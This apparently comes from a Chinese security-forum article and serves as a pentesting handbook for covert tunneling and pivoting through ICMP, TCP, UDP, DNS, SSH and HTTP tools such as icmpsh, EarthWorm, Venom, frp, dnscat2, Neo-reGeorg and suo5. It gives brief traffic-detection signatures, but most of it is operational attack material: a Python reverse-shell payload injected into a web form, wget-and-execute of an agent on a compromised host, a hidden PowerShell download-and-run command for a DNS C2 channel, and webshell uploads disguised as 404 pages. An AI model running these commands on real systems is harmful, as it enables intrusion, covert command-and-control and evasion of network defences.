问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
隧道代理攻防技术战争手册
渗透测试
本文将深入解析各类隧道代理技术(如ICMP、HTTP、DNS、TCP/UDP等)的实现原理与实战应用,通过具体工具手法(如Ping、cURL、nslookup、Telnet等)演示如何伪装和转发流量,并详细介绍多级隧道代理的搭建方法与技巧,帮助读者掌握隐蔽通信、绕过防火墙限制的核心能力,提升网络渗透与安全防护的实战水平。
前置 -- | | | |---|---| | ICMP | ping ip/domain | | HTTP | curl ip or domain | | DNS | nslookup domain 8.8.8.8 | | TCP/UDP | telnet ip port |  攻击机器 本机IP:192.168.200.111 kali:192.168.99.129 目标机器 win8:192.168.99.134 第二层网卡:10.10.10.3 win10:10.10.10.4 开启3306 ICMP隧道技术 -------- **什么是ICMP协议** ICMP(Internet Control Message Protocol,Internet控制报文协议)是Internet协议族中的一个协议,用于在IP网络中传递控制消息和错误报告。ICMP属于TCP/IP协议族中的第三层-网络层协议。 ### ICMP隧道流量特征 正常情况下,单位时间内数据包发送的数量为一组。  单组数据包Data字段长度,Windows为32 bytes,Linux下为48 bytes,并且请求包和响应包长度相同。  单组数据包Data字段内容中,Windows为`abcdefghijklmnopqrstuvwabcdefghi`,Linux下为`!”#$%&’()+,-./01234567`。  数据包Type字段类型为0或者8,表示请求和应答。  在icmpsh中,其交互过程的数据包中请求包和响应包长度明显不相同,并且Data字段内容明显为明文的敏感信息。  在pingtunnel中,明显地,单位时间内数据包的数量过大。  单组数据包Data字段长度非默认长度,并且请求和应答报文的长度也不相同。在单组数据包Data字段内容中,在交互过程存在会话key和明文访问信息 pingtunnel在访问过程会把会话key和访问信息封装到icmp协议的data字段中。 流量检测关键点: - 单位时间内数据包的数量 - 单组数据包Data字段长度 - 单组数据包Data字段内容 ### icmpsh icmpsh是⼀个简单的反向ICMP shell⼯具。与其他类似的开源⼯具相⽐,主要优势在于它不需要管理权限即可在⽬标机器上运⾏。 客户端只能在Windows机器运⾏,服务端可以在任何平台上运⾏。 下载 <https://github.com/bdamele/icmpsh> 使⽤ kali 192.168.200.129 win8 靶机 192.168.99.135 #### 服务端: ```c git clone https://github.com/inquisb/icmpsh.git #关闭icmp回复,如果要开启icmp回复,该值设置为0 #_因为icmpsh工具要代替系统本身的icmp应答程序,所以需要提前关闭本地系统的icmp应答,否则Shell的运行会不稳定_ sysctl -w net.ipv4.icmp_echo_ignore_all=1 #运⾏,第⼀个IP是VPS的eth0⽹卡IP,第⼆个IP是⽬标机器出⼝的公⽹IP wget https://bootstrap.pypa.io/pip/2.7/get-pip.py python2 get-pip.py #安装impacket python2 -m pip install impacket #这里可能报错 使用本地安装 https://github.com/fortra/impacket/releases/tag/impacket_0_11_0 python2 setup.py install python2 icmpsh_m.py 192.168.99.129 192.168.99.135 ``` #### 客户端: ```c -t 主机ip地址以发送ping请求。这个选项是强制性的! -r 发送⼀个包含字符串“Test1234”的测试icmp请求,然后退出。 -d 毫秒请求之间的延迟(毫秒) -o 毫秒响应超时(毫秒)。如果没有及时收到回复,从机将增加空⽩计数器。如果该计数器达到某个极限,从机将退出。 如果收到响应,计数器将设置回0。 -b 空⽩数量限制(退出前未答复的icmp请求) -s 字节最⼤数据缓冲区⼤⼩(字节) icmpsh.exe -t 192.168.99.129 -d 500 -b 30 -s 128 ```   ### pingtunnel Pingtunnel 是⼀种通过 ICMP 发送 TCP/UDP 流量的⼯具。其是最流⾏的⼀款ICMP代理⼯具,提供对tcp/udp/sock5流量伪装成icmp流量进⾏转发的功能。需要root或者administrator/system权限。 下载 <https://github.com/esrrhs/pingtunnel> #### ⾼权限条件下  ##### 构建反向代理 ###### 1)服务端 ```c -type server 代表开启ICMP SERVER端,等待客户端进⾏连接与通信。 -noprint 1 不在控制台打印⽇志 -nolog 1 不存储⽇志⽂件 echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all ./pingtunnel -type server -noprint 1 -nolog 1 ``` 设置 socks5 ```php pingtunnel.exe -type client -l :4455 -s 192.168.99.129 -sock5 1 -noprint 1 -nolog 1 ``` TCP隧道技术 ------- ### TCP隧道流量特征 **EarthWorm** ew在建立连接的过程中,数据包存在额外的数据特征“xx xx 00 00 00 00” 客户端发送“01 01 00 00 00 00”  服务端应答“01 02 00 00 00 00”,建立连接。  **Venom** 未加密下venom在建立连接过程的过程中会先发起系列”00 00 00 00 00 00“  接着通过携带“ABCDEFGH”,来判断是否为venom协议  同时,通过携带“VCMD”,作为协议的数据分割  执行命令过程也为明文信息   使用venom的加密下,只存在较小的特征,如携带的数据全置零   推测,其在只有在不使用端口复用时候,才存在 **Stowaway** 加密和未加密情况下,除了部分数据加密外,特征并没有发生变化。 stowaway在建立连接过程的过程中客户端会先发起系列”00 00 00 00 00 00“  在服务端确认相同的“会话key”后,客户端发起请求管理端的信息 ```php const ADMIN_UUID = "IAMADMINXD" const TEMP_UUID = "IAMNEWHERE" const TEMP_ROUTE = "THEREISNOROUTE" ``` 由于未加密,存在明文信息  在建立连接后,伴随着大量重复ACK确认请求,怀疑是做心跳保持  **Frp** 1)未添加tls加密下的frp 客户端 ```php [common] server_addr = 192.168.1.131 server_port = 7000 token = test@123 [socks5] type = tcp local_ip = 192.168.3.73 remote_port = 1081 plugin = socks5 plugin_user = test plugin_passwd = 123 use_encryption = true use_compression = true ``` 服务端 ```php [common] bind_port = 7000 token = test@123 ``` 客户端携带版本架构等信息向服务端发起请求  服务端回应相关信息  客户端和服务端之间传递会话id和会话key  服务端创建socks5信息  2)添加了tls加密后的frp 客户端 ```php [common] server_addr = 192.168.1.131 server_port = 7000 token = test@123 tls_enable = true [socks5] type = tcp local_ip = 192.168.3.73 remote_port = 1081 plugin = socks5 plugin_user = test plugin_passwd = 123 use_encryption = true use_compression = true ``` 服务端 ```php [common] bind_port = 7000 token = test@123 ``` 添加了tls和加密压缩后的frp在通信过程已经没有了版本信息和会话信息。不过,在建立连接的过程启用tls前,客户端携带“0x17”,请求服务端  利用wireshark详细分析,发现wireshark识别该报文为“Gryphon”协议,“Gryphon”协议为工控协议,用于车用通讯协定  随后,以固定的243字节的TLS-hello报文向服务端发起请求  固定243字节长度的hello报文告诉服务端,frp支持的一系列加密算法套件  服务端选定加密算法,理论上也是90字节大小的TLS-hello报文,向客户端发起应答  随后完成协商过程,建立tls加密通信  ### **EarthWorm** EW 是⼀套便携式的⽹络穿透⼯具,具有 SOCKS v5服务架设和端⼝转发两⼤核⼼功能,可在复杂⽹络环境下完成⽹络穿透。 能够以“正向”、“反向”、“多级级联”等⽅式打通⼀条⽹络隧道,直达⽹络深处。  - 下载 <https://github.com/idlefire/ew> - 使用 ```php EW共有6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran) ssocksd:正向代理、rcsocks:流量转发、rssocks:socks5反弹 lcx_slave:端口绑定、lcx_listen:流量转发、lcx_tran:端口转发 lcx_slave 该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。 lcx_tran 该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。 lcx_listen该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。 通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。 -l 为服务启动打开一个端口。 -d 设置反弹主机地址。 -e 设置反弹端口。 -f 设置连接主机地址。 -g连接端口设置连接端口。 -t 设置超时的毫秒数。默认值值是1000 ``` | | | |---|---| | **功能名称** | **对应模块** | | 正向代理 | ssocksd | | 反向代理 | rcsocks、rssocks | | 端口转发 | lcx\_listen、lcx\_tran、lcx\_slave | 1. EarthWorm命令详解 ```php rcsocks //反向socks代理客户端 ssocksd //正向代理、监听在本地,直接把当前环境socks代理出去 rssocks //反向代理、创建反向socks代理服务端 lcx_slave //该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。 lcx_tran //该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。 lcx_listen //该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。 ``` #### 1、公网出网 目标网络边界存在公网IP且可任意开监听端口:  ```php ./ew -s ssocksd -l 8888 // 在 192.168.229.139主机上 通过这个命令开启 8888 端口的 socks 代理 ``` #### 2、都是内网 但是出网 目标网络边界不存在公网 IP,需要通过反弹方式创建socks代理: ```php ./ew -s rcsocks -l 1080 -e 8888 // 在 192.168.229.143的公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机 ./ew -s rssocks -d 192.168.229.143 -e 8888 // 将目标网络的可控边界主机反向连接公网主机 HackTools 可通过访问 192.168.229.143:1080 端口使用 rssocks 主机提供的 socks5 代理服 ``` #### **3、二重网络环境**  A kali 192.168.99.129 B 跳板机 192.168.99.140 10.10.10.20 C 内网 10.10.10.10 获得目标网络内两台主机 B、C 的权限,情况描述如下: B 主机:存在公网 IP,且自由监听任意端口,无法访问特定资源 C 主机:目标网络内部主机,可访问特定资源,但无法访问公网 B 主机可直连 C 主机 ##### 1)正向代理 假设拿下B服务器,将工具上传到B服务器上使用 跳板机执行命令 ```php ew_for_Win.exe -s ssocksd -l 8888 ```  攻击机开立开启代理 ```php vim /etc/proxychains.conf //这里填写的IP是跳板机的IP地址和跳板机上设置的端口 ```  成功访问内网机器的80端口 ```php proxychains4 curl http://10.10.10.10/ ```  ##### 2)反向代理  A 7766 B 7766 6677 C 6677 ###### 第一种 先在B机器上执行命令 //跳板机监听7766端口并把流量走6677端口 ```php ew_for_Win.exe -s rcsocks -l 7766 -e 6677 ```  再在C机器上执行命令 //内网机器连接10.10.10.20的6677端口 ```php ew_for_Win.exe -s rssocks -d 10.10.10.20 -e 6677 ```  攻击机开启代理 //本地机器做代理,流量走跳板机的7766端口,就可以访问到C内网 ```php vim /etc/proxychains.conf ```   ###### 第二种:  ```php 主机B ew -s lcx_tran -l 1080 -f 10.10.10.10 -g 8888 主机C ew -s ssocksd -l 8888 通过proxifier代理工具访问10.10.10.20:1080 ``` ##### 内网 可出网  A主机,无公网 IP,无法访问特定资源,可访问外网。 B主机是内部主机,可访问特定资源,却无法回连公网。 A主机可直连B主机。 ```php 公网主机 ew -s lcx_listen -e 8888 -l 1080 A主机 ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999 B主机 ew -s ssocksd -l 9999 通过proxifier代理工具访问1.1.1.1:1080 ``` #### 4、三级网络代理 主机A(2.2.2.2)、B(2.2.2.3)、C(2.2.2.4),公网VPS(1.1.1.1)。 A主机无公网IP,无法访问特定资源,可访问外网。 B主机无法访问特定资源,无法回连公网。 C主机可访问特定资源,无法回连公网。 A主机可直连B主机,B主机可直连C主机。  ```php VPS ew -s rcsocks -l 1080 -e 8888 主机A ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999 主机B ew -s lcx_listen -l 9999 -e 7777 主机C ew -s rssocks -d 2.2.2.3 -e 7777 通过proxifier代理工具访问1.1.1.1:1080 ``` 数据流向为socks5代理-> 1080 -> 8888 -> 9999 -> 7777 -> rssocks ### **Venom** 下载:<https://github.com/Dliv3/Venom/> #### 未加密下的反向socks5代理 ```php 攻击机器 本机IP:192.168.200.111 kali:192.168.99.129 目标机器 win8:192.168.99.134 第二层网卡:10.10.10.3 win10:10.10.10.4 开启3306 ``` ```php VPS:you-vps-ip admin_linux_x64 -lport 7000 -passwd qaxNB666 show goto 1 socks 1088 win8:192.168.99.134 agent.exe -rhost you-vps-ip -rport 7000 -passwd qaxNB666 ``` ##### 1)VPS上运⾏服务端 ```php admin_linux_x64 -lport 7000 -passwd qaxNB666 ```  ##### 2)win8主机上传agent.exe并运⾏客户端 ```php agent.exe -rhost you-vps-ip -rport 7000 -passwd qaxNB666 ```  此时vps  ##### 3)在VPS的服务端,开启socks ```php show goto 1 socks 1088 ```   #### 实战演示: 1. 浏览器访问http://192.168.0.109:5000/admin,发现可以执行命令  2. 使用Python反弹shell - 使用nc在Kali主机上监听TCP5555端口 ```php nc -nvlp 5555 ```  利用python的代码执行功能,向表单中注入一段python代码触发反弹shell ```php import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.200.160",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ```  - 发现收到Shell为docker主机的root权限  Tip:判断主机为Docker容器的两种方法: 方法一:确认根目录下是否存在.dockerenv文件 ```php ls /.dockerenv ```  方法二:查看/proc/1/cgroup是否存在docker目录 ```php cat /proc/1/cgroup ```  ### 内网穿透 1. 内网扫描 - ip address 发现内网段为172.17.0.3/16网段 - 内网主机扫描,发现172.17.0.1,172.17.0.2,172.17.0.3为存活主机 ```php for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done ```  2. 部署Venom内网穿透工具 - 在Kali主机Venom目录启动Python3 Http Server  - 启动Venom管理端,监听本地9999端口 ```php ./admin_linux_x64 -lport 9999 ```  - 靶机部署Venom客户端 ```php cd /tmp wget -c http://192.168.0.108/agent_linux_x64 chmod +x agent_linux_x64 ./agent_linux_x64 -rhost 192.168.0.108 -rport 9999 ```  在Kali主机Venom管理端可以看到有主机上线 查看、控制Venom节点、启动socks隧道 使用 goto 1 进入到节点 使用 socks 1080 创建socks代理 ```php show goto 1 socks 1080 ```  挂Socks内网扫描 - 修改proxychains配置 - 然后在kali上使用proxychains4工具挂载代理,使工具都能正常访问内网 修改proxychains4 的配置文件 ```php vi /etc/proxychains4.conf 修改最后一行为: 修改代理类型为socks5 端口改为 1080 socks5 127.0.0.1 1080 ```  - 挂代理启动扫描,发现172.17.0.1,172.17.0.3相同,172.17.0.2存在9200端口 ```php sudo proxychains nmap -Pn -sT -sV 172.17.0.1 sudo proxychains nmap -Pn -sT -sV 172.17.0.2 sudo proxychains nmap -Pn -sT -sV 172.17.0.3 ```  #### 加密下的反向socks5代理 ```php admin.exe -lport 9999 -passwd dlive@dubhe agent.exe -rhost 192.168.1.131 -rport 9999 -passwd dlive@dubhe ``` #### 多级级联  ```php VPS:120.10.120.X admin_linux_x64 -lport 4343 -passwd test@123 goto 1 listen 4343 goto 2 listen 4343 主机A:192.168.3.15 agent.exe -rhost 120.10.120.X -rport 4343 -passwd test@123 主机B:192.168.3.30 agent.exe -rhost 192.168.3.15 -rport 4343 -passwd test@123 主机C:192.168.3.160 agent.exe -rhost 192.168.3.30 -rport 4343 -passwd test@123 ``` ### **Stowaway** 未完成 - 介绍 Stowaway是一个利用go语言编写、专为渗透测试工作者制作的多级代理工具。用户可使用此程序将外部流量通过多个节点代理至内网,突破内网访问限制,构造树状节点网络,并轻松实现管理功能。 其功能特性支持:节点间正向/反向连接、节点间支持重连、节点间可通过socks5代理进行连接、节点间可通过ssh隧道连接、节点间流量可选择TCP/HTTP、多级socks5流量代理转发,支持UDP/TCP,IPV4/IPV6、节点支持ssh访问远程主机、远程shell、上传及下载文件、端口本地/远程映射、节点可端口复用、自由开关各类服务、节点间相互认证、节点间流量以AES-256-GCM进行加密。 - 下载 <https://github.com/ph4ntonn/Stowaway> - 使用 admin: ```c 参数: -l 被动模式下的监听地址[ip]: -s 节点通信加密密钥,所有节点(admin&&agent)必须一致 -c 主动模式下的目标节点地址 --proxy socks5代理服务器地址 --proxyu socks5代理服务器用户名(可选) --proxyp socks5代理服务器密码(可选) --down 下游协议类型,默认为裸TCP流量,可选HTTP ``` agent: ```c 参数: -l 被动模式下的监听地址[ip]: -s 节点通信加密密钥 -c 主动模式下的目标节点地址 --proxy socks5代理服务器地址 --proxyu socks5代理服务器用户名(可选) --proxyp socks5代理服务器密码(可选) --reconnect 重连时间间隔(s) --rehost 端口复用时复用的IP地址 --report 端口复用时复用的端口号 --up 上游协议类型,默认为裸TCP流量,可选HTTP --down 下游协议类型,默认为裸TCP流量,可选HTTP --cs 运行平台的shell编码类型,默认为utf-8,可选gbk ``` #### 1)未加密下反向代理 服务端 ```php ./linux_x64_admin -l 9999 use 0 socks 10001 ```   客户端 ```c ./linux_x64_agent -c 192.168.99.129:9999 ```   #### 2)加密下反向代理 ```php stowaway_admin -l 9999 -s test@123 stowaway_agent -c 192.168.1.131:9999 -s test@123 ``` #### 3)多级级联 在stowaway中,组成多级网络需要借助admin中的listen、connect、 sshtunnel命令来实现 ```php admin: ./stowaway_admin -l 9999 -s 123 agent-1: ./stowaway_agent -c 127.0.0.1:9999 -s 123 agent-2: ./stowaway_agent -l 10000 -s 123 通过admin,输入use 0 -> connect agent-2的IP:10000来将其加入网络,并成为agent-1的一个子节点 agent-3: ./stowaway_agent -c 127.0.0.1:10001 -s 123 通过admin,输入use 0 -> listen -> 选择1.Normal Passive -> 输入10001 从而使得agent-1监听在10001端口上,并等待子节点的连接 ``` ### frp - 下载:<https://github.com/fatedier/frp> - 配置⽂件: [https://github.com/fatedier/frp/blob/dev/conf/frps\_full\_example.toml](https://github.com/fatedier/frp/blob/dev/conf/frps_full_example.toml) [https://github.com/fatedier/frp/blob/dev/conf/frpc\_full\_example.toml](https://github.com/fatedier/frp/blob/dev/conf/frpc_full_example.toml) #### 配置VPS ```php [common] bind_port = 7000 token = qaxNB666 ``` ./frps -c frps.ini #### 配置客户端 ```php [common] server_addr = 192.168.1.131 server_port = 7000 token = qaxNB666 [socks5] type = tcp remote_port = 1081 plugin = socks5 plugin_user = locks plugin_passwd = locks use_encryption = true use_compression = true ``` 进入到C2中上传frpc ```php cd C:\Windows\Temp\ 移动到上传的位置 shell dir 查看是否正确位置 shell frpc.exe -c frpc.ini 执行frpc ```     UDP隧道技术 ------- ### UDP隧道流量特征 **Udp2raw** 利用udp2raw技术构建的隧道,目前在流量上未发现明显的特征  ### **Udp2raw** - 介绍 该工具可以利用原始套接字并通过伪造的TCP/UDP/ICMP流量来帮助研究人员绕过UDP防火墙(或不稳定的UDP环境)。 其支持心跳保活、自动重连,重连后会恢复上次连接,在底层掉线的情况下可以保持上层不掉线。同时有加密、防重放攻击、信道复用的功能。 - 下载 <https://github.com/wangyu-/udp2raw> - 使用 假设你的UDP已被屏蔽,假设你的服务器IP为192.168.99.129,你有一个服务在监听udp端口7777。 ```php 在server端运行: ./udp2raw_amd64 -s -l0.0.0.0:4096 -r127.0.0.1:7777 -k "passwd" --raw-mode faketcp --cipher-mode xor -a 在client端运行: ./udp2raw_amd64 -c -l0.0.0.0:3333 -r192.168.99.129:4096 -k "passwd" --raw-mode faketcp --cipher-mode xor -a ``` 此时,已成功通过TCP端口4096在客户端和服务器端之间建立了一条经过加密的通信隧道。在客户端通过UDP端口3333连接,等同于在服务器端连接端口7777。    如果你需要在Android端运行的话,请参考【教程https://github.com/wangyu-/udp2raw-tunnel/blob/master/doc/android\_guide.md】 DNS隧道技术 ------- ### DNS隧道流量特征 直连模式下,dnscat2存在明显的连接特征  中继模式下的dnscat2,除开携带域名信息外,无其他明显流量特征  除了域名信息外,单位时间内dns数据包的发送频率也可以当作特征处理。 ### DnsCat2 && Dnscat2-Powrshell - 介绍 dnscat2是一款开源软件,使用DNS协议创建加密的C&C通道,通过预共享密钥进行身份验证。使用Shell及DNS查询类型(TXT、MX、CNAME、A、AAAA),多个同时进行的会话类似于SSH中的隧道。dnscat2的客户端是有Windows版和Linux版,服务端是用Ruby语言编写的。 使用dnscat2隧道的模式有两种,分别是直连模式和中继模式。 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求 中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。 - 下载 <https://github.com/iagox86/dnscat2> <https://github.com/lukebaggett/dnscat2-powershell> dnscat2 客户端在使用前需要进行编译才能使用,在 Windows 中可以使用 VS 进行编译或者直接使用 PowerShell 的版本,Linux 中可以使用 `make install` 进行编译。 Linux 下可以通过以下方法进行编译 ```php git clone https://github.com/iagox86/dnscat2.git cd dnscat2/client/ make ``` Windows 可以直接下载已经编译好的版本 exe 版(解压密码:password): <https://downloads.skullsecurity.org/dnscat2/dnscat2-v0.07-client-win32.zip> PowerShell 版:<https://github.com/lukebaggett/dnscat2-powershell> 如果使用 PowerShell 版,可以直接使用下面的命令导入,在实际情况中,也更推荐使用 PowerShell 版的,毕竟隐蔽性要更好些。 ```php IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1') ``` 或者下载 ps1 文件后,使用以下命令导入 ```php Import-Module .\dnscat2.ps1 ``` - 使用 #### 1)直连模式 ```php -s 指定 dns 服务端口 -c 指定连接密码 --no-cache 禁止缓存,添加该项为了使和 PowerShell 版本的 dnscat2 兼容 ``` ```C ruby ./dnscat2.rb -s 553 -c password --no-cache ``` ```php **启动客户端**,这里以 Windows 下的 exe 版为例 连接成功后,会提示 `Session established!` dnscat2-client.exe --dns server=192.168.1.133,port=553 --secret=password ```  ```rust sessions 或 windows 查看当前会话 session -i 1 或 window -i 1 进入 ID 为 1 的会话 shell 建立交互式会话 exec 远程打开程序 download 下载文件 help 查看支持的命令 ``` ```php sessions window -i 1 shell session -i 2 ``` #### 2)中继模式 在中继模式下,需要自己有一个域名,并添加两条域名解析记录。 首先创建一条 A 记录指向自己的公网 VPS 地址,之后创建一条 ns 记录指向 A 记录的子域名,示例如下:  如果想要判断自己的解析记录是否设置成功,可以通过以下方法进行判断。 A 记录:直接通过 nslookup 进行判断,如果解析出了 IP 说明该项配置正确。 ```php nslookup ns1.teamssix.com ``` ns 记录:在公网 VPS 上开启抓包,再`nslookup dc.teamssix.com`,如果在 VPS 上看到对应的流量记录,说明该项配置正确。 ```php sudo tcpdump -n -i eth0 udp dst port 53 ```  ```php #-e 指定安全级别,open 表示服务端允许客户端不进行加密 如果提示`Address already in use - bind(2) for "0.0.0.0" port 53`,可以关闭`systemd-resolved` sudo systemctl stop systemd-resolved ruby ./dnscat2.rb www.dnstuneltest.com -c password --no-cache -e open dnscat2-client.exe --dns domain=www.dnstuneltest.com --secret=password ```   也可以用powershell **开启客户端**,这里以 Windows 下的 PowerShell 版为例 ```php start-Dnscat2 -Domain dc.teamssix.com -PreSharedSecret teamssix -DNSServer vps_ip ``` 也可以把导入的命令和开启客户端的命令放在一起 ```php powershell.exe -nop -w hidden -c {IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');start-Dnscat2 -Domain dc.teamssix.com -PreSharedSecret teamssix -DNSServer vps_ip} ``` SSH隧道技术 ------- ### SSH隧道流量特征 在利用ssh进行隧道转发的过程中,除第一个数据包会出现机器的用户名外,在流量过程中无其他明显指纹  ### Linux转发 kali 连接 192.168.99.129 ubuntu ssh 192.168.99.132 ```text -C:压缩传输,提高传输速度 -f :将ssh传输转入后台执行,不占用当前的shell -N:建立静默连接(建立了连接,但是看不到具体的会话) -g 允许远程主机连接本地用于转发的端口。 -L:本地端口转发 -R:远程端口转发 -D:动态转发(socks代理) -P:指定ssh端口 ``` ```php sudo ssh -N -f -L 192.168.99.129:4444:192.168.99.132:22 192.168.99.129 ```   ### windows转发 kali 129 win10 131 ```php sudo ssh -N -f -L 192.168.99.129:10086:192.168.99.131:3389 192.168.99.129 ```   HTTP隧道技术 -------- ### HTTP隧道流量特征 **tunnel** 页面特征  连接报文特征  **reGeog&**Neo-reGeorg\*\* 对于reGeog,其默认的页面特征为  从流量报文上看,也具有一定的特征信息   Neo-reGeog的页面信息   Neo-reGeog的流量报文  **ABPTTS** abptts页面特征  查看报文特征  **suo5流量特征** 在未魔改的情况下,在suo5与webshell脚本建立连接时,测试连接是否通畅的请求报文中Content-Type 的值为 application/plain 测试报文使用POST请求方式,报文载荷携带验证数据。数据大小固定为64字节。当webshell文件被成功解析时,会将发送过来的字符串前32字节返回来通知客户端连接已成功建立。 suo5工具在连接时可选两种模式,分别为:全双工模式、半双工模式。在工具界面可选自动,默认为全双工 在suo5的连接模式为全双工时,Content-Type的值为application/octet-stream 在反向代理的场景下,应当使用该工具的半双工模式。 在suo5的连接模式为半双工时,Content-Type的值为application/x-binary;请求报文为POST请求方式。加密数据存放在报文载荷中。每次传输数据时都会重新发起一次请求。 ### **tunnel** - 介绍 Tunna 是一组工具,它将通过 HTTP 包装和隧道任何 TCP 通信。它可用于绕过完全防火墙环境中的网络限制。 - 下载 <https://github.com/SECFORCE/Tunna> - 使用 前提是能够上传webshell | | | |---|---| | 1 <br>2 <br>3 <br>4 <br>5 <br>6 <br>7 | -l 表示本地监听的端口 <br>-r 远程要转发的端口 <br>-v 详细模式 <br>-b 请求大小 <br>-s 首先启动 pinging 线程 - 一些服务首先发送数据(例如 SSH) <br>-C 请求 cookie <br>-t 基本认证 |  #### 1)连接RDP VPS执行 ```php python2 proxy.py -u http://192.168.99.135:81/conn.aspx -l 1234 -a 192.168.99.135 -r 3389 ```  目标机器 ```php python2 proxy.py -u http://192.168.99.135:81/conn.aspx -l 1234 -r 3389 –v ```   #### 2)连接SSH vps ```php python2 proxy.py -u http://192.168.99.132/conn.php -l 1234 -a 192.168.99.132 -r 22 -v -s ```  目标机器 ```php python2 proxy.py -u http://192.168.99.132/conn.php -l 1234 -r 22 -v -s ```  ### **reGeog**&&**Neo-reGeorg** - 介绍 reGeorg是reDuh的继承者,其主要是把内网服务器的端口通过http/https构建成隧道的一款工具。 - 下载 <https://github.com/sensepost/reGeorg> <https://github.com/L-codes/Neo-reGeorg> - 使用 ### reGeorg ```php python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp ``` ### Neo-reGeorg Neo-reGeorg是一个旨在积极重构reGeorg的项目,目的是:提高 tunnel 连接安全性、提高可用性,避免特征检测、提高传输内容保密性、应对更多的网络环境场景。 Neo-reGeorg支持: ```php 1、传输内容经过变形 base64 加密,伪装成 base64 编码 2、直接请求响应可定制化 (如伪装的404页面) 3、HTTP Headers 的指令随机生成,避免特征检测 4、HTTP Headers 可定制化 5、自定义 HTTP 响应码 6、多 URL 随机请求 7、服务端 DNS 解析 8、兼容 python2 / python3 9、服务端环境的高兼容性 (仅 php) 参考 pivotnacci 实现单 Session 创建多 TCP 连接,应对部分负载均衡场景 aspx/ashx/jsp/jspx 已不再依赖 Session,可在无 Cookie 等恶劣环境正常运行 (非 php) 支持内网转发,应对负载均衡环境 ``` 使用方法 ```php python3 neoreg.py generate -k password python3 neoreg.py -k password -u http://xx/tunnel.php python neoreg.py generate -k --file 404.html --httpcode 404 python neoreg.py -k -u --skip python neoreg.py -k -u --proxy socks5://10.1.1.1:8080 python neoreg.py -k -u -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2" ``` #### 实战开始: ##### 1、Kali中生成自定义连接密码的shell。 ```php python3 neoreg.py generate -k Netw@rk123 ```  ##### 2、上传文件 将生成的shell文件上传至目标服务器。  上传后访问路径,如果显示如下空白则代表没有问题,直接做代理 ```php python3 neoreg.py -k Netw@rk123 -p 1099 -u http://192.168.99.133/DVWA/hackable/uploads/tunnel.php ```  随后即可将代理指向至代理服务器地址后,即可访问内网资源。   将shell页面伪装成404页面 先访问个404页面,像下面显示,会列出路径,那么我们在上传之前就先访问下我们shell上传的路径,会 出一个真实404页面,然后我们再右键页面另存为保存到本地,--file参数 指定我们保存出来的404页面 **就后面路径瞎几把打乱码就行** ```php python3 neoreg.py generate -k Netw@rk123 --file /root/Neo-reGeorg-5.2.0/404.html --httpcode 404 ```  随后shell上传后,直接访问页面会与404页面相似,或许理解成俄罗斯走位就行了。  启动socks代理 这里要加--skip,不然就会认为这是404页面,连接不上 ```php python3 neoreg.py -k Netw@rk123 -p 1099 -u http://192.168.99.133/DVWA/hackable/uploads/tunnel.php --skip ```  也可以 ```php python neoreg.py -k -u --proxy socks5://10.1.1.1:8080 python neoreg.py -k -u -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2" ``` ### **ABPTTS** - 介绍 ABPTTS是NCC Group在2016年blackhat推出的一款将TCP流量通过HTTP/HTTPS进行流量转发的工具。 - 下载 <https://github.com/nccgroup/ABPTTS> - 使用 #### 配置环境 ```php git clone https://github.com/nccgroup/ABPTTS.git pip install pycryptodome pip install httplib2 #报错可以用 pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pycryptodome 本地安装httplib2 https://pypi.org/project/pycryptodome/#files tar -xzvf httplib2-0.22.0.tar.gz cd httplib2-0.22.0 import importlib python2 setup.py install python2 -c "import httplib2; print(httplib2.__version__) pip2 install pyparsing ``` #### 实际操作 服务端 ```php #生成对应webshell python2 abpttsfactory.py -o webshell ```  客户端 上传webshell  ```php #把目标主机的3389端口转发到本地的7777端口 python2 abpttsclient.py -c webshell/config.txt -u "http://192.168.99.135:81/abptts.aspx" -f 192.168.99.129:7777/127.0.0.1:3389 ```   ### suo5 Suo5是一个全新的 HTTP 代理隧道,基于HTTP/1.1的Chunked-Encoding构建。相比Neo-reGeorg等传统隧道工具,suo5的性能可以达到其数十倍。查看性能测试。 其主要特性如下: 1. 同时支持全双工与半双工模式,传输性能接近 FRP 2. 支持在 Nginx 反向代理和负载均衡场景使用 3. 完善的连接控制和并发管理,使用流畅丝滑 4. 支持 Tomcat Jetty Weblogic WebSphere Resin 等主流中间件 5. 支持 Java4 ~ Java 19 全版本, 兼容性拉满 6. 同时提供提供命令行和图形化界面 下载地址:<https://github.com/zema1/suo5> #### 工具使用 ##### 第一步: 将suo5.aspx文件上传到靶机shell里面去,默认默认开放的是1111端口  ##### 第二步: 打开对应的gui文件进行代理设置  如果电脑是linux 最简单的只需指定连接目标 ```php ./suo5-linux-amd64 -t http://x.x.x.90:8080/suo5.jsp ``` 使用 GET 方法发送请求,有时可以绕过限制 ```php ./suo5-linux-amd64 -m GET -t http://x.x.x.x:8080/suo5.jsp 